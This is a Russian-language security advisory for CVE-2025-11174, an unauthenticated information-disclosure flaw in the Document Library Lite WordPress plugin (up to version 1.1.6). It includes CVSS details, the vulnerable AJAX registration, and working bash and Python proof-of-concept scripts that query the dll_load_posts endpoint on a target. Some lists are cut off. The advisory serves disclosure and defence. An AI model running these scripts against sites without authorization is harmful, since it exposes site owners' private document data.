
Document Library Lite <= 1.1.6 - Missing Authorization to Sensitive Information Exposure | CVE-2025-11174
Ключевые слова: CVE-2025-11174, уязвимость Document Library Lite, раскрытие информации, безопасность WordPress, неавторизованный AJAX эксплойт, уязвимость плагина WordPress, CWE-862, безопасность плагина документов WordPress, обход авторизации, CVE WordPress 2025
Уязвимость раскрытия информации в плагине Document Library Lite для WordPress (CVE-2025-11174) — ошибка безопасности, позволяющая неавторизованным пользователям получать доступ к конфиденциальным данным документов в плагине библиотеки документов WordPress.
Была обнаружена критическая уязвимость обхода авторизации в плагине Document Library Lite для WordPress, которая позволяет неавторизованным злоумышленникам получать доступ к конфиденциальной информации о документах без надлежащей аутентификации.
Обнаружено: Kai Aizen и Avraham Shemesh (SnailSploit)
Опубликовано: 1 ноября 2025 г.
Оценка CVSS: 5.3 (Средняя)
CWE: CWE-862 — Отсутствие авторизации
Плагин: Document Library Lite
Вендор: Barn2 Plugins
Тип атаки: Неавторизованное раскрытие информации
Требуемые привилегии: Нет (Неавторизованная атака)
Плагин Document Library Lite для WordPress содержит уязвимость неправильной авторизации во всех версиях до 1.1.6 включительно. Плагин предоставляет неавторизованное AJAX-действие dll_load_posts, которое возвращает JSON-таблицу данных документов без проверки nonce или прав.
Эта уязвимость позволяет неавторизованным злоумышленникам:
Примечание: Оценка CVSS 5.3 (средняя степень серьезности) отражает ограниченное раскрытие информации. Хотя уязвимость позволяет неавторизованным пользователям получать доступ к данным документов, воздействие на конфиденциальность оценено как Низкое, без воздействия на целостность или доступность.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
| Метрика | Значение |
|---|---|
| Вектор атаки | Сеть (AV:N) |
| Сложность атаки | Низкая (AC:L) |
| Требуемые привилегии | Нет (PR:N) |
| Взаимодействие с пользователем | Нет (UI:N) |
| Область действия | Не изменена (S:U) |
| Конфиденциальность | Низкая (C:L) |
| Целостность | Нет (I:N) |
| Доступность | Нет (A:N) |
Расшифровка CVSS v3.1:
AJAX-действие dll_load_posts зарегистрировано без надлежащих проверок аутентификации или авторизации:
// Уязвимый шаблон кода (упрощённо)
add_action('wp_ajax_nopriv_dll_load_posts', 'dll_load_posts_callback');
Префикс wp_ajax_nopriv_ указывает, что это действие доступно неаутентифицированным пользователям, а функция обратного вызова не реализует:
POST /wp-admin/admin-ajax.php
action=dll_load_posts
Уязвимость может быть использована через конечную точку WordPress admin-ajax.php без аутентификации.
⚠️ Только для образовательных целей и авторизованного тестирования
#!/bin/bash
# CVE-2025-11174 PoC
TARGET_URL="$1"
if [ -z "$TARGET_URL" ]; then
echo "Usage: $0 <target_url>"
echo "Example: $0 https://example.com"
exit 1
fi
echo "[*] CVE-2025-11174 - Document Library Lite Information Disclosure PoC"
echo "[*] Target: $TARGET_URL"
echo ""
# Send request to vulnerable AJAX endpoint
curl -s -X POST "$TARGET_URL/wp-admin/admin-ajax.php" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "action=dll_load_posts" \
| python3 -m json.tool
echo ""
echo "[+] If you see document data above, the site is vulnerable!"
#!/usr/bin/env python3
"""
CVE-2025-11174 - Document Library Lite Information Disclosure PoC
For educational and authorized testing purposes only
"""
import requests
import sys
import json
def exploit(target_url):
ajax_url = f"{target_url.rstrip('/')}/wp-admin/admin-ajax.php"
print(f"[*] CVE-2025-11174 - Document Library Lite PoC")
print(f"[*] Target: {target_url}")
print(f"[*] AJAX Endpoint: {ajax_url}\n")
data = {'action': 'dll_load_posts'}
try:
response = requests.post(ajax_url, data=data, timeout=10)
if response.status_code == 200:
print("[+] Request successful!\n")
try:
json_data = response.json()
print("[+] Retrieved document data:")
print(json.dumps(json_data, indent=2))
print("\n[!] Site is VULNERABLE to CVE-2025-11174")
except json.JSONDecodeError:
print("[-] No JSON response received")
print(f"Response: {response.text[:200]}")
else:
print(f"[-] Request failed with status code: {response.status_code}")
except requests.RequestException as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} <target_url>")
print(f"Example: {sys.argv[0]} https://example.com")
sys.exit(1)
target = sys.argv[1]
exploit(target)
Немедленные действия:
admin-ajax.php с action=dll_load_postsЧерез админ-панель WordPress: